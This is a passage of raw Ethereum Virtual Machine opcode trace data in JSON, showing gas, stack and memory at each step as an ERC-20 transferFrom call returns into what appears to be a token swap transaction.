3918244f40000"]},{"pc":785,"op":"ISZERO","gas":78579,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":786,"op":"DUP2","gas":78576,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":787,"op":"MSTORE","gas":78573,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x1","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":788,"op":"PUSH1","gas":78570,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":790,"op":"ADD","gas":78567,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":791,"op":"PUSH2","gas":78564,"gasCost":3,"depth":2,"stack":["0x23b872dd","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":794,"op":"JUMP","gas":78561,"gasCost":8,"depth":2,"stack":["0x23b872dd","0xa0","0x2ef"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":751,"op":"JUMPDEST","gas":78553,"gasCost":1,"depth":2,"stack":["0x23b872dd","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":752,"op":"PUSH1","gas":78552,"gasCost":3,"depth":2,"stack":["0x23b872dd","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":754,"op":"MLOAD","gas":78549,"gasCost":3,"depth":2,"stack":["0x23b872dd","0xa0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":755,"op":"DUP1","gas":78546,"gasCost":3,"depth":2,"stack":["0x23b872dd","0xa0","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":756,"op":"SWAP2","gas":78543,"gasCost":3,"depth":2,"stack":["0x23b872dd","0xa0","0x80","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":757,"op":"SUB","gas":78540,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x80","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":758,"op":"SWAP1","gas":78537,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":759,"op":"RETURN","gas":78534,"gasCost":0,"depth":2,"stack":["0x23b872dd","0x20","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":13733,"op":"SWAP3","gas":80023,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x348","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13734,"op":"POP","gas":80020,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x0","0x348","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13735,"op":"POP","gas":80018,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x0","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13736,"op":"POP","gas":80016,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13737,"op":"RETURNDATASIZE","gas":80014,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13738,"op":"DUP1","gas":80012,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13739,"op":"PUSH1","gas":80009,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13741,"op":"DUP2","gas":80006,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13742,"op":"EQ","gas":80003,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x20","0x20","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13743,"op":"PUSH2","gas":80000,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220",